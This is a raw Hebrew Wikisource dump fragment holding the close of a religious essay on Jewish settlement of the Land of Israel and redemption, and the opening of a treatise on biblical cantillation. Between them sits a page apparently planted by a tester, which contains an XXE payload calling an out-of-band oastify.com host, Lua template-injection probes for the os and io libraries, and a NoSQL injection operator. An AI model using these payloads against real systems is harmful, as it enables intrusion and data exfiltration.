ומהולל שמו מאוד בעיר אלהינו. נאה לגדולים לתת גדולה ליוצר בראשית. מלתא אלבשייהו יקירא. אל תשיתו לב לדברי הבל ורעות רוח המניאים את לב בני ישראל. דעו נאמנה כי המדברים סרה על ישוב הארץ לא ענו מלבם כי אם גבורת ארמילוס עשתה זאת. כתוב בסדור הספרדים בברכת בונה ירושלם יכוין על מב&quot;י שלא יהרג ע&quot;י ארמילוס ר&quot;ל ענין מב&quot;י הוא לקבוץ הגליות לישב את ארצנו הק' וארמילוס כל יגיעו ועמלו הוא לעכב ישוב הארץ. והעיכוב הזה הוא הריגת משיח בן יוסף. ארמילוס אותיות סמא&quot;ל רי&quot;ו. הגאולה היא בשם ע&quot;ב כמ&quot;ש תיקון כ&quot;ב וז&quot;ל וכמה דנפקו ממצרים ברזא ע&quot;ב שמהן. כך יפקון בהון כד יפרקון בתרייתא. שם ע&quot;ב הוא ע&quot;ב שמות כל אחד משלשה אותיות הם רי&quot;ו אותיות. בסוד ויעביר ה' ע&quot;ב רי&quot;ו. ודור רביעי ישובו הנה ר&quot;ת וס&quot;ת רי&quot;ו. והוא יוצא משלשה פסוקים ויסע. ויבא. ויט. ובכח האבירי לב הרחוקים מצדקה אחו ס&quot;מ אותיות רי&quot;ו בתוך אותיות שמו ונבנה ארמילוס המקשיח לבנו מן החסד והרחמים ומעכב גאולתנו. ז&quot;ש רז&quot;ל כי ארמילוס נולד מאבן אחת הוא לב האבן שבבשרנו. ס&quot;מ הוא גרנן מפריד אלוף כי הוא המפריד הנשמה מן הגוף. מצודתו פרושה על כל החיים. הוא שטן הוא יצה&quot;ר הוא מלאך המות הוא הנחש אשר השיא את חוה והביא המות לעולם. והוא מסית ומדיח את האדם מדרך החיים לדרך המות. הוא האיש אשר אבק עם יעקב אבינו עד עלות השחר. וירא כי לא יכול לו ויגע בכף ירכו [עיין של&quot;ה הקדוש] הוא אשר העשין את הר סיני. והר סיני עשן כלו. עשן נקרא ס&quot;מ. וכאשר עמדו אבותינו על הר סיני לקבל את התורה כי היא חיינו ואורך ימינו. עמד בכחו וגבורתו על הר סיני ועלתה בידו להטעות את ישראל ויעשו עגל בחורב ונשתברו הלוחות שהיו חירות ממלאך המות. ותורתנו הקדושה עץ חיים היא למחזיקים בה. והוא הכניס עין רעה בחיזוק התורה. כמ&quot;ש בתרא ד' ע&quot;ה ע&quot;א ועשן בחופה למה? א&quot;ר חנינא כל מי שעיניו צרות בת&quot;ח בעוה&quot;ז מתמלאות עיניו עשן לעוה&quot;ב. וארצנו הק' היא בית חיינו והוא בכל מאמצי כחו מעכב ביאת הארץ. ולכן זאת העצה היעוצה מאת ה' פתחו לי פתח כחודה של מחט. דהיינו להתחיל במצוה וארמילוס יתש כחו כנקבה. ובאי כחו ישמרו לפיהם מחסום כי המתחיל במצוה אומרים לו גמור. אמרו רז&quot;ל. נשבע הקב&quot;ה שלא יבא בירושלים של מעלה עד שיבאו ישראל בירושלים של מטה שנא' ולא אבא בעיר [עיין מעודד ענוים אות כ&quot;ב]. ולכן אמר הקב&quot;ה לישראל פתחו לי פתח להתיר הנדר. והפתח הוא רצוננו הטוב להסתופף בבית אלהינו. ונקבצו בני ישראל אגודה אחת בדעה אחת ליישב את ארצנו הקדושה ומחשבה טובה הקב&quot;ה מצרפה למעשה. ויעלה לרצון לפניו יתב' כאלו שבו כל ישראל לירושלים. ועם הפתח הזה יתיר נדרו ויבא הקב&quot;ה לירושלים של מעלה ויפתח לנו כפתחו של אולם.

אמרו רז&quot;ל משה הוא הגואל האחרון ובג&quot;ד כפל קוב&quot;ה שמיה משה משה חד על פורקנא קדמאה וחד על בתרייתא. ובג&quot;ד אז ישיר משה שר לא נאמר אלא ישיר וכן אמרו במד' דברים רבה סוף פ' וילך. כיון שקבל משה עליו למות התחיל הקב&quot;ה מפייסו. א&quot;ל חייך בעולם הזה הנהגת את בני. אף לעתיד לבא על ידיך אני מנהיג אותם שנאמר ויזכור ימי עולם משה עמו עכ&quot;ל. ובכל דור ודור בא משה בסוד העיבור באיש הראוי אולי יזכו ישראל לגאולה [עיין מעודד ענוים אות כ&quot;ח].

כל שר וגדול בישראל אשר נפשו קשורה באהבת ארץ ישראל זה לנו האות כי נשמת משה בקרבו. אשר התפלל תקט&quot;ו תפלות אעברה נא ואראה את הארץ הטובה. גם כדורנו זה [בזמן המחבר] עינינו הרואות את אדוננו השר תפארת ישראל כבוד מוהר&quot;ר משה מונטיפיורי יצ&quot;ו חשקה נפשו לארץ הקדושה ובאהבה רבה עולה בית אל כיונק אל שדי אמו. אות היא כי שמו בקרבו. ואשר גדלו המלך מלכו של עולם ואשר נשאו להיות לישראל למושיע. לא תשועה פרטית בלבד כי אם גם תשועה כללית והתשועות הפרטיות אשר נתן ה' על ידו הוא לחזק את לבו למען ידע כי ה' אתו ואשר הוא עושה ה' מצליח. כמו שבאה תשועת עלילת הדם בתוך הנחמות יחזקאל ל&quot;ו יען אומרים לכם אוכלת אדם וכו'. פי' מוהר&quot;ץ אברבנאל ז&quot;ל מ&quot;ש ד' נ&quot;ה ע&quot;א וז&quot;ל הנבואה הזאת נאמרה על הגלות הזאת שמוציאין דבה על בני ישראל שהורגים את ילדיהם לאכול מדמם בחג הפסח. וכיון שנתן ה' תשועת עלילת הדם [במלכות מארוקא] על ידו זה לנו האות כי הוא גואל ומושיע. והיה הדם לו לאות כי ה' אתו. 

פקח עיניך וראה מפלאות תמים דעים כי המושיעים מעלילת הדם בעיר דמשק שנת ת&quot;ר הקים ה' אותם אלופים לראש ראשונים לכל בית יוסף. אדוננו השר משה מונטיפיורי ראש לחברת שלוחי קהלות ישראל בלונדון. ואדוננו השר יצחק קרעמיע ראש לחברת כל ישראל חברים בפאריז! ובהסחתהדעת נקבצו בני יהודה ובני ישראל יהדיו ושמו להם ראש! כל איש אשר חננו ה' דעה ובינה והשכל יכיר ויוקיר את החברות היקרות האלה ויאמר אצבע אלהים היא לא נעשתה כזאת מיום גלות ישראל מעל אדמתם.זה הדבר אשר צוה ה' לא תתגודדו לא תעשו אגודות אגודות [יבמות ד' י&quot;ד ע&quot;א]. הקב&quot;ה נתן תשועה לישראל כשהיו שני ראשי החברות אגודה אחת כן יתן הקב&quot;ה תשועה לישראל כשתהיינה שתי החברות אגודה אחת כמ&quot;ש ויהי בישורון מלך בהתאסף ראשי עם יחד שבטי ישראל. פיר' הרמב&quot;ן ז&quot;ל כשהן עשויין אגודה אחת ולא כשהן עשויין אגודות אגודות והתכלית הנרצה הוא תשועה כללית. ומתשועת הכלל יושע הפרט.

יא. כתיב ישעי' מ&quot;א העניים והאביונים מבקשים מים ואין לשונם בצמא נשתה אני ה' אענם אלהי ישראל לא אעזבם. אפתח על שפיים נהרות. תרגום יונתן אקרב גלותהון מביני עממיא ר&quot;ל אני אחדש רוח נכון בקרב ישראל להתקרב אחד אל אחד בקירוב לבבות עד שיהיו כל ישראל חברים בלב אחד כאיש אחד למען יראו וידעו וישימו וישכילו יחדיו כי יד ה' עשתה זאת וקדוש ישראל בראה בריאה חדשה. 

ורוח נסע מאת ה' שנת ת&quot;ר כמ&quot;ש יחזקאל ל&quot;ו ונתתי לכם לב חדש ורוח חדשה. פיר' רש&quot;י יצר שיתחדש לטובה. הרוח החדשה היתה מאת ה' להאסף אגודה אחת לפקח ולהשגיח בעסקי הקבוץ לחדש ימינו כקדם ולכונן לבבנו אל הבקשה הכללית. 

החברה הק' חברת ישוב א&quot;י עינם אל ההתחלה כי המצוה הראשונה לעולי גולה היא עבודת האדמה. כמ&quot;ש ויקרא רבה פ' כ&quot;ח אחרי ה' אלהיכם תלכו וכו' מתחלת ברייתו של עולם לא נתעסק הקב&quot;ה אלא במטע תחילה הה&quot;ד ויטע ה' אלהים גן בעדן מקדם. אף אתם כשתכנסו לארץ לא תתעסקו אלא במטע תחילה הה&quot;ד וכי תבואו אל הארץ ונטעתם כל עץ מאכל. ואתם הרי ישראל ענפיכם תתנו ופריכם תשאו לעמי ישראל. אין לך קץ מגולה מזה [פ' חלק]. 

ובאשר יתקע בשופר גדול מי בכם מכל עמו יהי אלהיו עמו ויעל. כל זרע אברהם ישלימו. כי יעיר ה' את רוחם כמ&quot;ש מי העיר ממזרח. פי' מוהר&quot;ץ אברבנאל ז&quot;ל כמו שהעיר את אברהם ממזרח כן יעיר בניו לצאת מהגלות וללכת אל ארץ הנבחרת. והם ישובו וישיבו לאחרים. כמ&quot;ש זכריה יו&quot;ד ובמרחקים יזכרוני וחיו את בניהם ושבו לציון כי היא בית חיינו. וכתיב יחזקאל י&quot;ח והשיבו וחיו. 

יב. כל אשר בשם ישראל יכונה הוא חבר לחברת כל ישראל חברים. וכל הנכנס בבריתו של אברהם אבינו הוא חבר לחברת ישוב ארץ ישראל. כי בברית המילה נתן ה' לאברהם מתנת הארץ. ושם חברה הוא זולת להוציא את ישראל מעבטיט הפירוד. כי כל קהלה היא מלכות בפני עצמה ואין מלכות נוגעת בחברתה אפילו כמלא נימא. וזה היה ההתעוררות מן החברה היקרה &quot;כל ישראל חברים&quot; ליחד קהילות ישראל אגודה אחת [עיין הצופה להמגיד גליון ל&quot;ו ש&quot;ה]. 

א&quot;ר יהושע בן לוי אמר הקב&quot;ה לישראל אתם גרמתם להחריב את ביתי ולהגלות את בני שאלו לשלום ואני מוחל לכם שנאמר שאלו שלום ירושלים. ר&quot;ל הבית השני נחרב בעון שנאת חנם. שהיו בבית שני כמה כתות והיו שונאים אלו לאלו. ולכן התשובה היא להאסף אגודה אחת לשאול שלום ירושלים. ונקבצו בני יהודה ובני ישראל יחדיו בין רשעים בין כשרים ואף סוררים לשכון יה אלהים. כמ&quot;ש ירמיה ל&quot;א וזרעתי את בית ישראל ואת בית יהודה זרע אדם וזרע בהמה. פי' רש&quot;י הטובים והסבלים שבהם אני אזרעם להיות כולם זרע שלי. וכן אמרו תד&quot;א סא&quot;ר פ' ו' אמר הקב&quot;ה לעמוס לא כתבתי בתורתי על ידי משה רבך אשריך ישראל מי כמוך עם נושע בה' בין רשעים בין כשרים עכ&quot;ל. 

יעקב אבינו צוה לפני מותו לאמר האספו ואגידה לכם את אשר יקרא אתכם באחרית הימים. אמר להן תהון כולכון אסיפה אחת. נעשו בני ישראל אגודה אחת התקינו עצמיכם לגאולה. [ב&quot;ר פ' צ&quot;ח]. 

ועתה בין תבין את מעלת ורוממות החברה הק' כל ישראל חברים וחברת ישוב א&quot;י ואת שמותיהן הנאות להן. ומגמתם הרצויה לחבר את האוהל להיות אחד. ושמות הבעלים אורטודוקסין וריפורמירטין לא ישמע על פיהם כי בשמות הפירוד געלה נפשי כי חרפה היא לנו. הלא אב אחד לכולנו הלא אל אחד בראנו מדוע נבגד איש באחיו לחלל ברית אבותינו. [מלאכי ב'] ולכן הגואל הראשון נקרא מב&quot;י כי הוא יאסף את חרפתנו והוא יקבץ פוזרנו ויעשה אותנו לגוי אחד בארץ בהרי ישראל. והוא ימנה עלינו זקנים משגיחים בעניני הקבוץ. 

סימן מסר הזקן הממנה מכם זקנים זה הוא הגואל. [ב&quot;ר פ' צ&quot;ז] והם ישוו אותנו בכתב ולשון ותורה ומנהג. ולא תהיה תורתנו ועבודת אלהינו מנהג ספרד אשכנז. פולין. אטליא. וכדומה כי אם מנהג ישראל תורה אחת ומשפט אחד. כמו שהבטיח הנביא ישעיה ל&quot;ב ונתתי להם לב אחד ודרך אחד ליראה אותי. ושמות הפירוד לא יזכרו ולא יפקדו ועם צדיקים אל יכתבו. כי כולם בשם ישראל יכונו שאין לנו תואר יקר ממנו.

לי גלעד זה אליהו. ר&quot;ל כל איש אשר נשאו לבו לדבר טוב על ישראל מיד רוח הקודש שורה עליו. ואליהו מאיר עיני לבו ודעתו ויורהו אשר ידבר. כמ&quot;ש תד&quot;א סא&quot;ר פ' י&quot;ב לעולם ינהג אדם בעצמו שמונה עשרה מדות וכו' י&quot;א מתאנח על כבוד הקב&quot;ה ועל כבודן של ישראל כל ימיו. י&quot;ב מחמד ומתאוה ומצפה לכבוד ירושלם ולכבוד בהמ&quot;ק ולישועה שתצמיח בקרוב ולקבוץ גליות. אז זוכה לרוח הקודש בדבריו שנא' כי עוד חזון למועד ויפח לקץ ולא יכזב עכ&quot;ל. [עיין מעודד ענוים אות ב&quot;ו]. 

ולי מנשה זה משיח. פי' רש&quot;י דניאל ט' פסוק כ&quot;ו. משיח אינו אלא לשון שר וגדול. והמשיח הזה ר&quot;ל איש שר וגדול שיפיל תחינתנו לפני מלכי הארץ. והוא הגואל והמושיע הראשון. שנאמר לפני אפרים ובנימין ומנשה וכו' [תהלים פ']. ויהודה מחוקקי זה הגואל הגדול מבני בניו של דוד שהוא יבא בסוף האלף הששי בב&quot;א.מהו מואב סיר רחצי? אמר האלהים אף כשיבאו הגואלים הללו אני בא ומסייען עד שיבאו המואביות עמהן. הדברים הללו הם כדברי הספר החתום. ולא ראיתי בהם ביאור מספיק וי&quot;ל בדרך מליצה כמ&quot;ש מלכים א' ב' פסוק י&quot;ט וישם כסא לאם המלך. אמרו רז&quot;ל זו רות אמה של מלכות [רש&quot;י. המואביות ר&quot;ל אמהות המלכות כמו רות המואביה שנקראת אמה של מלכות]. ר&quot;ל הנשים הצדקניות שבזכותן נגאל כמו שנגאלו אבותינו ממצרים בזכות נשים צדקניות. הן הנה הנשים השאננות אשר נשא לבן אותנה ועושים צדקות והקדשות בעין יפה לכונן את בית חיינו וארץ קברות אבותינו. ולכן אמר האלהים כשיבאו הגואלים הללו אני בא ומסייען ואני אגמור בעדם. ויבאו המואביות עמהן ובזכותן נגאל ב&quot;ב.הנה כל משכיל בין יבין את כל הכתוב לפניו דבר דבור על אופניו ובלי כל ספק כי כאשר ילמוד אותו בשום לב אז אש תוקד בקרבו לתשוקת ואהבת ישוב ארה&quot;ק לתת כל רעיונותיו וכחותיו החומריים להחזקת היישוב או לפחות לעזוב ארץ העמים ולבוא להסתופף בחצרות ה' וכאשר כתבתי לעיל בתחלת המאמר &quot;שמחו את ירושלם&quot; שנראה בעליל שדברי הרב הנ&quot;ל פעלו הרבה בלב שרי וגדול ישראל החברות הנ&quot;ל ואחריהם עמדו רבים והציבו להם ציונים וכמה אגודות וחברות קדושות וכולם עסוקים בישוב הארץ ובקבוץ בניה לתוכה ותלי&quot;ת אשר לא עזב חסדו ונתנם לחן ולרחמים לפני מלכי חסד ונתנו להם הרשיון לקנות קרקעות וחרבות נשמות ליישבם ישוב טוב ונכון ועשו והצליחו כאשר הנך רואה כמה מאחינו האשכנזים וזולתם אשר מסרו עצמם להתיישב במושבות לבנות ולנטוע וכל עבודה בשדה ע&quot;י עזרת השרים לבית ראטשילד ויתר החברות כחברת חובבי ציון ועוד העי&quot;א, ומאחר שזכינו לכל זה שבימינו היתה זאת, &quot;אתחלתא דגאולה&quot; מי הוא מכנ&quot;י אשר בכל תפוצות הגולה אשר לא יערב אל לבו לבוא בעזרתם או לפחות להסתופף בצל כנפי השכינה להתיישב בארה&quot;ק לעבדה ולשמרה בכל אשר תמצא ידו לעשות ואף אם יסבול עוד יסורין ממקרי הזמן בכל זאת הלא ישים אל לבו מאמר חז&quot;ל ג' אינם באים לאדם אלא ע&quot;י יסורין וזו אחת מהן כמש&quot;ל במאמרים הקודמים. אמנם לדעתי הקלושה צריך כל אחד לשום לב אל מאמר התנא ר&quot;מ בסוף פ&quot;ג ממסכת שקלים וז&quot;ל תנא בשם ר'מ אומר כל הקבוע בא&quot;י ואוכל פירותיו בטהרה ומדבר בלה&quot;ק וקורא ק&quot;ש בבוקר ובערב יהא מבושר שבן העולם הבא הוא עכ&quot;ל שזהו עיקר ויסוד הישוב שבלא זה אין בכל מפעלינו כלום ועוד אני אומר שכמעט כל דברי הרב רגמ&quot;ה שזכרנו למעלה מכונים וכלולים בדברי התנא הק' ר&quot;מ כל הקבוע וכו' שר&quot;ל כל מי שקבע עצמו להתיישב בא&quot;י היינו שקנה קרקע ובנה בית לשבת שעי&quot;ז נקרא קבוע ולא דר דירת עראי ועובד אדמתו ואוכל מפירותיו בטהרה ר&quot;ל שמקיים מצות התלויות בה והיינו בחרישה וזריעה והפרשת תרומ&quot;ע וכיוצא וקיום מצות שמיטהועוד ועוד כידוע, ומדבר בלה&quot;ק שיהא דיבורו בשפה המקודשת ומיוחדת רק לישראל ובא&quot;י שעי&quot;ז תהיה אחדות ושלום בין כ&quot;י ולא יהיו מפורדים בלשונות אומה&quot;ע וכמו שמצינו בדור הפלגה שלא נפרדו זמ&quot;ז אלא משבלל ה' שפתם וכל א' תפס לו שפה אחרת ועי&quot;ז לא נשאר ביניהם אחדות ושלום, וקורא ק&quot;ש בבוקר ובערב ר&quot;ל שלא יעזוב עסק התורה שנ' בה והגית בו יומם ולילה שבה תלוי קיום העולם בכלל וישוב ישראל בפרט בא&quot;י כמ&quot;ש אם לא בריתי יומם ולילה חקות שמים וארץ לא שמתי וכן הוכיח הנביא ירמיה ויאמר ה' על מה אבדה הארץ ויאמר על עזבם את תורתי אז ע&quot;י שמקיימים כל ד' דברים אן שהם עיקר ויסוד היישוב, יהא מבושר שהוא בן העוה&quot;ב דקדק לומר מבושר ר&quot;ל שיתבשר בזה שהוא מבני עוה&quot;ב היינו ימות המשיח כי כ&quot;ז שיזכו ישראל לקיים כל אלה בא&quot;י בסוף הגלות שהם משנת ת&quot;ר לאלף הששי והלאה זהו בשורה אמתית כי בזמן ההוא יגלה משיח צדקנו וישבו ישראל לבטח, והעד לזה (הקיץ) הוא שמשנת הת&quot;ר נתן ה' רגש והתעוררות בלב חכמי וגדולי ישראל עשירי עם  ליישוב הארץ וגם בלב מלכי החסד האדירים אשר אנחנו חוסים בא&quot;י בצל ממשלתם הרוממה יר&quot;ה כאשר עינינו הרואות שבכל יום היישוב מוסיף והולך ואין לך אות ומופת גדול מזה וגם כל חז&quot;ל מחשבי הקיצין ברוח קדשם החליטו כל א' כפי השגתו כי הזמן הזה משנת הת&quot;ר ומעלה הוא זמן הקבוץ וגאולת ישראל באינספק ורק הדבר תלוי במעשינו כי מצד גזירתו יתברך לימי גלותנו כבר נשלמה בודאי וע&quot;ז הזמן אמר הנביא שובו אלי ואשובה אליכם ר&quot;ל כי מעתה הדבר תלוי רק בכם אם אתם תשובו אלי לפתוח לי בחודה של מחט אז אשובה אליכם לפתוח לכם כפתחו של אולם והיינו לבנות ביהמ&quot;ק ולהשרות שכינתי ביניכם כבתחלה וכמ&quot;ש ז&quot;ל אתערותא דלעילא מאתערותא דלתתא, ואפריון נמטייהו להחברות והאגודות הק' אשר נתחדשו בישראל אשר כל מגמתם וכל ישעם וחפצם ליישב ישראל בא&quot;י וכמעט נותנים כל כחם בגשם וברוח לטובת והגדלת והחזקת הישוב, ועלינו אנחנו המתיישבים לתת להם תו&quot;ב ולישא בעדם רנה ותפלה במקום הקודש מקום עלית התפלו' לרום המעלות כי יצליח ה' מעשיהם ויתן להם ולנו כח ואומץ לאחד את כל ישראל באחדות גמורה ולקיים בה כל ד' דברים אשר רמז לנו התנא הק' ר&quot;מ שזוהי התשובה הכללית שהזכרנו למעלה וע&quot;י זה נזכה לגאולה שלמה ועיניהם ועינינו תחזינה בבניןמקדש ואריאל שיבנה בב&quot;א. 

לשנת וסדר **הקבצו ושמעו בני יעקב** לפ&quot;ק.</text>
      <sha1>oclgoerr0fi4s7fw4p5799xl0q7skrz</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:תקנות בדיקת חדירות</title>
    <ns>116</ns>
    <id>1744200</id>
    <revision>
      <id>3020650</id>
      <parentid>3020647</parentid>
      <timestamp>2026-06-18T13:08:10Z</timestamp>
      <contributor>
        <username>TestXYZO123</username>
        <id>45775</id>
      </contributor>
      <origin>3020650</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="663" sha1="6efx6mkzch62op1661opvv33n7zo5xy" xml:space="preserve">          &lt;/body&gt;
        &lt;/bill&gt;
      &lt;/component&gt;
    &lt;/collectionBody&gt;
  &lt;/documentCollection&gt;
&lt;/akomaNtoso&gt;

&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;
&lt;!DOCTYPE foo [
&lt;!ELEMENT foo ANY &gt;
&lt;!ENTITY xxe SYSTEM &quot;http://cxdp9ttwsndeowxnhw2jiovstjzan1bq.oastify.com&quot; &gt;
]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;

{{#invoke:String|replace|source{{#invoke:String|match|s=_G|pattern=io|nomatch=OS_IS_NOT_LOADED}}|pattern=1|replace=2}}

{{#invoke:String|replace|source={{#if:os|OS_EXISTS|OS_NOT_EXISTS}}|pattern=1|replace=2}}


{{CURRENTVERSION}}

{{SITENAME}}

{{#time: Y-m-d}}


{{#expr: 7*7}}
# NoSql Injections
-------------------------------------------------------------
{ &quot;$gt&quot;: 0 }</text>
      <sha1>6efx6mkzch62op1661opvv33n7zo5xy</sha1>
    </revision>
  </page>
  <page>
    <title>טעמי המקרא (הוריית הקורא)</title>
    <ns>0</ns>
    <id>1744201</id>
    <revision>
      <id>3020733</id>
      <parentid>3020162</parentid>
      <timestamp>2026-06-19T08:36:14Z</timestamp>
      <contributor>
        <username>מו יו הו</username>
        <id>37729</id>
      </contributor>
      <comment>/* 1.6 */</comment>
      <origin>3020733</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="115994" sha1="t1lk61cpxctxrrq5byy7dwi2gjv15et" xml:space="preserve">{{דף שער|טעמי המקרא}}

{{מסגרת|
&quot;טעמי המקרא&quot; הוא שמו של תרגום עברי לספר &quot;מכ'תצר הדאיה אלקאר&quot; ({{=}}הוריית הקורא הקצר). תרגום זה מכונה כך בכ&quot;י פריס, Ms. hebr. 1221, שממנו נדפס הספר לראשונה ע&quot;י יוחנן מירקירוס, פריס שכ&quot;ו. העתקה נוספת של תרגום זה מצויה בכ&quot;י מילאנו, הספריה האמבורסיאנית, 88 (A 186 inf.), ושם הוא מכונה &quot;תוכן עזרא&quot;. מהדורת ויקיטקסט מבוססת על שני כתבי יד אלו (לפרטים נוספים ראו בדף [[טעמי המקרא (הוריית הקורא)/אודות המהדורה|כאן]]).}}
=[הקדמה]=
הרוצה לידע ולהבין תנאי דקדוק המקרא בנקודיה ובטעמיה – יבקש בזה הספר. אם יאמר האומר: מה צורך יש לדעת תנאי המקרא? יכול אדם להשיבו ולומר לו: לפי שהטעמים משונים זה מזה; ואותו השינוי כדי להפריד בין זכר לנקבה, כגון {{צ|ק֥וּמִי א֖וֹרִי}} {{ק|([[ישעיהו ס א]])}} – שתי תיבות הללו לשון נקבה הן, ויורה על זה הטעם שבא על האות הראשון שלתיבה, אבל {{צ|לְיוֹם קוּמִ֣י לְעַד}} {{ק|([[צפניה ג ח]])}} דטעמיה לרע, וזה {{צ|יְיָ אוֹרִ֣י וְיִשְׁעִי}} {{ק|([[תהלים כז א]])}}, אלו לשון זכר, בעבור שנתאחר הטעם לרע. 

ועוד מודיעים הטעמים ביאור שני, כגון זה {{צ|שָׁ֩בוּ֩ עַל עֲוֹנֹת אֲבוֹתָם}} {{ק|([[ירמיהו יא י]])}}, הטעם על השי&quot;ן מפני שהוא לשון תשובה; אבל {{צ|שָׁב֖וּ וַיָּבֹזּוּ}} {{ק|([[בראשית לד כט]])}} שהוא לשון שְׁבִי, טעמיה לרע על הבי&quot;ת, וכעניין הזה הרבה במקרא. 

ועתה, אילו קרא אדם טעמי האחד ועשרים ספרים בטעמי שלשת הספרים – תילים ואיוב ומשלי – נשחת עליו מודע הבינה. וכן אילו קרא במקום שלשלת מרכא או במקום מרכא שלשלת, היה טועה בכולם יחד. ולפי שיש לטעמים שערים הרבה, הוזקקנו לדעת עומקם. 

=1=

==1.1==

פרק הראשון: להשכין האותיות – לדעת שיכנם והנעתם.

א&quot;ח ה&quot;ע שיכנם בעיקר הלשון ובבית הבליעה, והוא ראש הקנה ושורש הלשון, והן קלות מכל האותיות, ואין אדם יכול להדגישן כלל. 

הה&quot;א והאל&quot;ף יוזמים בני אדם להדגישן, ולא יתכן, שהנקודה הנמצאת תחת ה&quot;א בסוף התיבה מוֹדעת עיקר הה&quot;א, שאם תמצא ה&quot;א בראש המילה או באמצעיתה ויהיה תחתיה קמץ או פתח, לא יקרא בדגש. והאל&quot;ף נמצאת בארבעה מקומות כמו דגשה, והן {{צ|וַיָּבִיאּוּ לוֹ אֶת הַמִּנְחָה}} דיוסף {{ק|([[בראשית מג כו]])}}, {{צ|תָּבִיאּוּ לֶחֶם תְּנוּפָה}} {{ק|([[ויקרא כג יז]])}}, {{צ|וַיָּבִיאּוּ לָנוּ כְּיַד אֱלֹהֵינוּ}} דעזרא, {{ק|([[עזרא ח יח|ח יח]])}}, {{צ|וְשֻׁפּוּ עַצְמוֹתָיו לֹא רֻאּוּ}} {{ק|([[איוב לג כא]])}}. ואלו ארבעה קיבלום הראשונים ואין זולתם, ואף על פי כן לא יתכן להדגיש אל&quot;ף. 

יש אותיות שמתחלפות זו בזו, כגון {{צ|בִּזַּר}} {{ק|([[תהלים סח לא]])}} – {{צ|פִּזַּר}} {{ק|([[תהלים נג ו]])}}, {{צ|יַעֲלֹס}} {{ק|([[איוב כ יח]])}} – {{צ|יַעֲלֹז}} {{ק|([[תהלים צו יב]])}} – {{צ|יַעֲלֹץ}} {{ק|([[דה&quot;א טז לב]])}}, וכאלה רבים. 

==1.2==

פרק השני: על אותיות יהו&quot;א ובג&quot;ד כפ&quot;ת.

אלו אותיות יהו&quot;א, אם היתה אחת מהן בסוף המילה, והמילה עומדת במשרת, והמילה הסמוכה אחריה תחלתה אחת מן אותיות בג&quot;ד כפ&quot;ת, יוצאה אותה האות ברפי, כגון {{צ|כִּ֤י בְֿאַפָּם֙}} {{ק|([[בראשית מט ו]])}}, {{צ|וַיְהִ֤י דְֿבַר־יְיָ֙}} {{ק|([[מ&quot;א טז א]])}}, {{צ|וְאֶקְחָ֨ה פַֿת־לֶ֜חֶם}} {{ק|([[בראשית יח ה]])}} והדומין להן. 

ויוצאין מכלל העניין הזה [כי&quot;פ: תשעה] [כי&quot;מ: שמונה] שמבטלין את הרפי, ואלו הן: דפסיק, ודדחיק, ודאתי מרחיק, ומפיק ה&quot;א, ומפיק ו&quot;ו, ומפיק יו&quot;ד, ושתי אותיות רצופות שתחת הראשונה שבא, ובי&quot;ת ופ&quot;ה. 

התנאי הראשון – דפסיק – כיצד; כל זמן שיהיה בין אות יהו&quot;א ובין אות בג&quot;ד כפ&quot;ת פסק, לא יהיה כח לאות יהו&quot;א לרפות אות שלאחריו, מפני הפסק הממוצע ביניהם כעין מקל, כגון {{צ|{{ק|(ו)}}יוֹסֵף יְיָ עַל עַמּ֤וֹ׀ כָּהֵם֙}} {{ק|([[דה&quot;א כא ג]])}}, {{צ|עָשׂ֣וּ׀ כָּלָ֑ה}} {{ק|([[בראשית יח כא]])}}, וכל דומיהן. 

התנאי השני – דדחיק – הוא שיהיה בתיבת יהו&quot;א אחר המשרת מלך, ובתיבה הסמוכה לה אין מלך קודם הטעם, כגון {{צ|וְאָעִ֣ידָה בָּ֔ם}} {{ק|([[דברים לא כח]])}}, {{צ|וְהָגִ֤יתָ בּוֹ֙}} {{ק|([[יהושע א ח]])}} ודומיהן. 

אבל אם יש ביניהן יותר ממלך אחד, כגון {{צ|מְבָרֲכֶ֣יךָ בָר֔וּךְ}} {{ק|([[במדבר כד ט]])}}, {{צ|נָחִ֥יתָ בְחַסְדְּךָ֖}} {{ק|([[שמות טו יג]])}}, {{צ|נֵהַ֥לְתָּ בְעׇזְּךָ֖}} {{ק|([[שמות טו יג|שם]])}} ודומיהן, יתקיים בהן חוק יהו&quot;א. 

ועוד, אם אין ביניהן מלך, כגון {{צ|הָיְתָ֥ה תֹ֙הוּ֙}} {{ק|([[בראשית א ב]])}}, {{צ|הִנֵּה נָא}}, {{צ|וְנָתַתָּ֥ שָׁ֖מָּה מָיִם}} {{ק|([[שמות ל יח]])}}, נוהג בהן חוק יהו&quot;א להרפות, ובכל דומיהן. 

ופעמים שהדוחֵק במילה שאין בה טעם כלל, ומדגיש, מפני שהיא תיבה בת שתי אותיות ואינה יכולה להאריך, אלא מקפת שלאחריה ומדגישה, כגון {{צ|מַה־תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|זֶה־בְּנִי הַחַי}} {{ק|([[מ&quot;א ג כג]])}} ודומיהן. 

ואלו המחלקות אינם נוהגות כי אם בהברת ה&quot;א לבדה, אבל ביו&quot;א, אם אין טעם הקרייה מבטלת חוק יהו&quot;א, אין עלילה אחרת מבטלתן כי אם הפסק לבדו. הלא תראה {{צ|אֲשֶׁר הוֹרַדְתֵּ֣נוּ ב֔וֹ}} {{ק|([[יהושע ב יח]])}}, אף על פי שמלך דחוק שם אינו מדגיש, וכן נוהג ביו&quot;ד ואל&quot;ף. מה טעם, שהברת ו&quot;ו ויו&quot;ד ואל&quot;ף לא יהיה בסוף התיבה אם אינה כתובה, אבל הברת ה&quot;א נשמעת בסוף המילה או כתובה או לא כתובה. 

